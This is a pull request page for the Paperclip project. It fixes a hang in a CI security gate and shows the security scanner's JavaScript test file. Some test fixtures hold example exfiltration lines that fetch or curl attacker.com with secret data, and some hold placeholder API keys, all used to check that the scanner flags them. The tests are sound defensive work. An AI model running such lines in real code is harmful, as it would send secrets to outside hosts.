47bd02647c
## Thinking Path > - Paperclip is the open source app people use to manage AI agents for work > - The commitperclip review workflow runs a security gate as part of CI on every PR > - The security script's header promises it always exits 0 and stays silent/informational, but PRs that triggered a flag were failing with a 5-minute timeout > - Two compounding bugs: `findExistingDraftAdvisory` paginated without an upper bound, and the workflow step did not have `continue-on-error: true`, so any hang inside the script turned into a hard `review` check failure that blocked merge > - This pull request caps the advisory pagination at 20 pages and adds `continue-on-error: true` to the workflow step, aligning runtime behavior with the script's documented "always exit 0" contract > - The benefit is that future PRs flagged by the security gate no longer block merge on a 5-minute timeout, and the gate stays silent/informational as intended ## Linked Issues or Issue Description Fixes: #7849 ## What Changed - `.github/workflows/commitperclip-review.yml`: added `continue-on-error: true` to the `Run security gates` step so a hang or non-zero exit cannot fail the `review` check (matches the script's documented "always exit 0" contract). - `.github/scripts/check-pr-security.mjs`: capped `findExistingDraftAdvisory` pagination at 20 pages (= 2000 advisories) and short-circuited with a `console.warn` when the cap is hit; if no match is found within the cap, callers will simply create a new draft instead of hanging forever. - `.github/scripts/tests/check-pr-security.test.mjs`: added a test asserting the pagination cap is enforced. ## Verification - `node .github/scripts/tests/check-pr-security.test.mjs` — 31/31 pass, including the new cap test. - Step-level guarantee: `continue-on-error: true` makes the `Run security gates` step non-blocking for the job, so even an unexpected hang/timeout in this step can no longer fail the `review` check. ## Risks - Low risk. Pagination cap is a defensive bound; the worst case is a duplicate draft advisory (acceptable — the workflow continues). `continue-on-error: true` is exactly what the script header already promised; the workflow now matches its stated contract. ## Model Used - Claude (claude-opus-4-7), extended thinking, tool use ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have searched GitHub for duplicate or related PRs and linked them above - [x] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template - [x] I have run tests locally and they pass - [x] I have added or updated tests where applicable - [x] If this change affects the UI, I have included before/after screenshots - [x] I have updated relevant documentation to reflect my changes - [x] I have considered and documented any risks above - [ ] All Paperclip CI gates are green - [ ] Greptile is 5/5 with no open P2s, recommendations, or follow-ups - [ ] I will address all Greptile and reviewer comments before requesting merge Co-authored-by: Paperclip <noreply@paperclip.ing>
381 lines
14 KiB
JavaScript
381 lines
14 KiB
JavaScript
import { test } from 'node:test';
|
|
import assert from 'node:assert/strict';
|
|
import {
|
|
buildAdvisoryPayload,
|
|
findExistingDraftAdvisory,
|
|
postSecurityCheckRun,
|
|
scanSecrets,
|
|
scanCITampering,
|
|
scanBuildScripts,
|
|
scanSupplyChain,
|
|
scanTestPatterns,
|
|
scanSensitivePaths,
|
|
startScriptWatchdog,
|
|
syncDraftAdvisory,
|
|
validateSensitivePaths,
|
|
} from '../check-pr-security.mjs';
|
|
import { ghFetch } from '../get-bot-token.mjs';
|
|
|
|
// ── scanSecrets ──────────────────────────────────────────────────────────────
|
|
|
|
test('scanSecrets: flags OpenAI key in added line', () => {
|
|
const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
|
|
assert.ok(scanSecrets(files).length > 0);
|
|
});
|
|
|
|
test('scanSecrets: flags AWS key in added line', () => {
|
|
const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }];
|
|
assert.ok(scanSecrets(files).length > 0);
|
|
});
|
|
|
|
test('scanSecrets: ignores removed lines', () => {
|
|
const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
|
|
assert.equal(scanSecrets(files).length, 0);
|
|
});
|
|
|
|
test('scanSecrets: ignores files without patch', () => {
|
|
assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0);
|
|
});
|
|
|
|
// ── scanCITampering ──────────────────────────────────────────────────────────
|
|
|
|
test('scanCITampering: flags workflow file changes', () => {
|
|
const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }];
|
|
assert.ok(scanCITampering(files).length > 0);
|
|
});
|
|
|
|
test('scanCITampering: ignores non-workflow files', () => {
|
|
const files = [{ filename: 'src/foo.ts', status: 'modified' }];
|
|
assert.equal(scanCITampering(files).length, 0);
|
|
});
|
|
|
|
test('scanCITampering: ignores removed workflow files', () => {
|
|
const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }];
|
|
assert.equal(scanCITampering(files).length, 0);
|
|
});
|
|
|
|
// ── scanBuildScripts ─────────────────────────────────────────────────────────
|
|
|
|
test('scanBuildScripts: flags changes to release.sh', () => {
|
|
const files = [{ filename: 'scripts/release.sh', status: 'modified' }];
|
|
assert.ok(scanBuildScripts(files).length > 0);
|
|
});
|
|
|
|
test('scanBuildScripts: ignores non-CI scripts', () => {
|
|
const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }];
|
|
assert.equal(scanBuildScripts(files).length, 0);
|
|
});
|
|
|
|
// ── scanSupplyChain ──────────────────────────────────────────────────────────
|
|
|
|
test('scanSupplyChain: flags net-new packages in lockfile', () => {
|
|
const patch = `@@ -1,3 +1,4 @@
|
|
packages:
|
|
+ 'evil-package@1.0.0':
|
|
'existing-package@2.0.0':
|
|
- 'old-package@1.0.0':
|
|
`;
|
|
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
|
const flags = scanSupplyChain(files);
|
|
assert.ok(flags.length > 0);
|
|
assert.ok(flags[0].packages.includes('evil-package'));
|
|
});
|
|
|
|
test('scanSupplyChain: does not flag version-only bumps', () => {
|
|
const patch = `@@ -1,3 +1,3 @@
|
|
packages:
|
|
- 'existing-package@1.0.0':
|
|
+ 'existing-package@2.0.0':
|
|
`;
|
|
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
|
assert.equal(scanSupplyChain(files).length, 0);
|
|
});
|
|
|
|
test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => {
|
|
const patch = `@@ -1,2 +1,3 @@
|
|
+evil-package@1.0.0:
|
|
existing-package@2.0.0:
|
|
`;
|
|
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
|
const flags = scanSupplyChain(files);
|
|
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
|
|
});
|
|
|
|
test('scanSupplyChain: ignores peer suffixes when matching package names', () => {
|
|
const patch = `@@ -1,2 +1,2 @@
|
|
-@scope/pkg@1.0.0(react@18.2.0):
|
|
+@scope/pkg@2.0.0(react@18.2.0):
|
|
`;
|
|
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
|
assert.equal(scanSupplyChain(files).length, 0);
|
|
});
|
|
|
|
test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => {
|
|
const patch = `@@ -1,2 +1,3 @@
|
|
+evil-package@1.0.0(react@18.2.0):
|
|
existing-package@2.0.0:
|
|
`;
|
|
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
|
const flags = scanSupplyChain(files);
|
|
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
|
|
});
|
|
|
|
test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => {
|
|
const calls = [];
|
|
const fakeFetch = async (path) => {
|
|
calls.push(path);
|
|
if (/[?&]page=1(?:&|$)/.test(path)) {
|
|
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` }));
|
|
}
|
|
if (/[?&]page=2(?:&|$)/.test(path)) {
|
|
return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }];
|
|
}
|
|
return [];
|
|
};
|
|
|
|
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
|
|
|
|
assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' });
|
|
assert.equal(calls.length, 2);
|
|
});
|
|
|
|
test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => {
|
|
const fakeFetch = async () => [{ summary: 'Completely different advisory' }];
|
|
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
|
|
assert.equal(advisory, null);
|
|
});
|
|
|
|
test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => {
|
|
let pageCount = 0;
|
|
const fakeFetch = async () => {
|
|
pageCount += 1;
|
|
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` }));
|
|
};
|
|
|
|
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
|
|
|
|
assert.equal(advisory, null);
|
|
assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`);
|
|
});
|
|
|
|
test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => {
|
|
const calls = [];
|
|
const flags = [
|
|
{ check: 'ci-tampering', file: '.github/workflows/pr.yml' },
|
|
{ check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' },
|
|
];
|
|
|
|
await syncDraftAdvisory(async (path, token, options) => {
|
|
calls.push({ path, token, options });
|
|
if (path.includes('/security-advisories?state=draft')) {
|
|
return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }];
|
|
}
|
|
return { ok: true };
|
|
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
|
|
|
|
assert.equal(calls.length, 2);
|
|
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234');
|
|
assert.equal(calls[1].options.method, 'PATCH');
|
|
const patchBody = JSON.parse(calls[1].options.body);
|
|
const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags);
|
|
assert.deepEqual(patchBody, expectedPatch);
|
|
assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)');
|
|
});
|
|
|
|
test('syncDraftAdvisory: creates a new advisory when none exists', async () => {
|
|
const calls = [];
|
|
const flags = [{ check: 'supply-chain', packages: ['evil-package'] }];
|
|
|
|
await syncDraftAdvisory(async (path, token, options) => {
|
|
calls.push({ path, token, options });
|
|
if (path.includes('/security-advisories?state=draft')) {
|
|
return [];
|
|
}
|
|
return { ok: true };
|
|
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
|
|
|
|
assert.equal(calls.length, 2);
|
|
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories');
|
|
assert.equal(calls[1].options.method, 'POST');
|
|
assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags));
|
|
});
|
|
|
|
test('postSecurityCheckRun: uses the injected fetch implementation', async () => {
|
|
const calls = [];
|
|
|
|
await postSecurityCheckRun(async (path, token, options) => {
|
|
calls.push({ path, token, options });
|
|
return { ok: true };
|
|
}, 'token', 'paperclipai/paperclip', 'deadbeef', true);
|
|
|
|
assert.equal(calls.length, 1);
|
|
assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs');
|
|
assert.equal(calls[0].options.method, 'POST');
|
|
assert.deepEqual(JSON.parse(calls[0].options.body), {
|
|
name: 'security-review',
|
|
head_sha: 'deadbeef',
|
|
status: 'completed',
|
|
conclusion: 'neutral',
|
|
output: {
|
|
title: 'Security Review Recommended',
|
|
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
|
|
},
|
|
});
|
|
});
|
|
|
|
test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => {
|
|
const seenPaths = [];
|
|
const stale = await validateSensitivePaths(
|
|
'token',
|
|
'paperclipai/paperclip',
|
|
6469,
|
|
'release/1.2',
|
|
async (path) => {
|
|
seenPaths.push(path);
|
|
return { ok: true };
|
|
},
|
|
);
|
|
|
|
assert.deepEqual(stale, []);
|
|
assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2')));
|
|
assert.ok(!seenPaths.some(path => path.includes('ref=master')));
|
|
});
|
|
|
|
test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => {
|
|
let seen404 = false;
|
|
const stale = await validateSensitivePaths(
|
|
'token',
|
|
'paperclipai/paperclip',
|
|
6469,
|
|
'main',
|
|
async (path) => {
|
|
if (!seen404) {
|
|
seen404 = true;
|
|
throw new Error('GitHub API GET /contents/foo → 404: missing');
|
|
}
|
|
return { ok: true };
|
|
},
|
|
);
|
|
|
|
assert.equal(stale.length, 1);
|
|
|
|
await assert.rejects(
|
|
validateSensitivePaths(
|
|
'token',
|
|
'paperclipai/paperclip',
|
|
6469,
|
|
'main',
|
|
async () => {
|
|
throw new Error('GitHub API GET /contents/foo → 500: boom');
|
|
},
|
|
),
|
|
/500: boom/
|
|
);
|
|
});
|
|
|
|
// ── scanTestPatterns ─────────────────────────────────────────────────────────
|
|
|
|
test('scanTestPatterns: flags outbound fetch in test file', () => {
|
|
const files = [{
|
|
filename: 'src/foo.test.ts',
|
|
patch: `+ const res = await fetch('https://attacker.com/collect')`,
|
|
}];
|
|
assert.ok(scanTestPatterns(files).length > 0);
|
|
});
|
|
|
|
test('scanTestPatterns: flags execSync in test file', () => {
|
|
const files = [{
|
|
filename: 'src/foo.test.ts',
|
|
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
|
|
}];
|
|
assert.ok(scanTestPatterns(files).length > 0);
|
|
});
|
|
|
|
test('scanTestPatterns: ignores suspicious patterns in non-test files', () => {
|
|
const files = [{
|
|
filename: 'src/api.ts',
|
|
patch: `+ const res = await fetch('https://api.example.com')`,
|
|
}];
|
|
assert.equal(scanTestPatterns(files).length, 0);
|
|
});
|
|
|
|
test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => {
|
|
const files = [{
|
|
filename: 'src/__tests__/foo.ts',
|
|
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
|
|
}];
|
|
assert.ok(scanTestPatterns(files).length > 0);
|
|
});
|
|
|
|
// ── scanSensitivePaths ───────────────────────────────────────────────────────
|
|
|
|
test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => {
|
|
const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }];
|
|
assert.ok(scanSensitivePaths(files).length > 0);
|
|
});
|
|
|
|
test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => {
|
|
const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }];
|
|
assert.ok(scanSensitivePaths(files).length > 0);
|
|
});
|
|
|
|
test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => {
|
|
const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }];
|
|
assert.ok(scanSensitivePaths(files).length > 0);
|
|
});
|
|
|
|
test('scanSensitivePaths: ignores unrelated paths', () => {
|
|
const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }];
|
|
assert.equal(scanSensitivePaths(files).length, 0);
|
|
});
|
|
|
|
test('scanSensitivePaths: ignores removed files even on sensitive paths', () => {
|
|
const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }];
|
|
assert.equal(scanSensitivePaths(files).length, 0);
|
|
});
|
|
|
|
// ── startScriptWatchdog ──────────────────────────────────────────────────────
|
|
|
|
test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => {
|
|
let exitCode = null;
|
|
const fakeExit = (code) => { exitCode = code; };
|
|
startScriptWatchdog(20, fakeExit);
|
|
await new Promise((resolve) => setTimeout(resolve, 60));
|
|
assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now');
|
|
});
|
|
|
|
test('startScriptWatchdog: cleared timer never fires', async () => {
|
|
let exitCode = null;
|
|
const fakeExit = (code) => { exitCode = code; };
|
|
const timer = startScriptWatchdog(20, fakeExit);
|
|
clearTimeout(timer);
|
|
await new Promise((resolve) => setTimeout(resolve, 60));
|
|
assert.equal(exitCode, null, 'cleared watchdog must not call exit');
|
|
});
|
|
|
|
// ── ghFetch timeout ──────────────────────────────────────────────────────────
|
|
|
|
test('ghFetch: aborts the request when the per-call timeout elapses', async () => {
|
|
const originalFetch = globalThis.fetch;
|
|
// Replace global fetch with one that respects the AbortSignal but never resolves on its own.
|
|
globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => {
|
|
init?.signal?.addEventListener('abort', () => {
|
|
const err = new Error('aborted');
|
|
err.name = 'AbortError';
|
|
reject(err);
|
|
}, { once: true });
|
|
});
|
|
|
|
try {
|
|
const start = Date.now();
|
|
await assert.rejects(
|
|
ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }),
|
|
/aborted|abort/i,
|
|
);
|
|
const elapsed = Date.now() - start;
|
|
assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`);
|
|
} finally {
|
|
globalThis.fetch = originalFetch;
|
|
}
|
|
});
|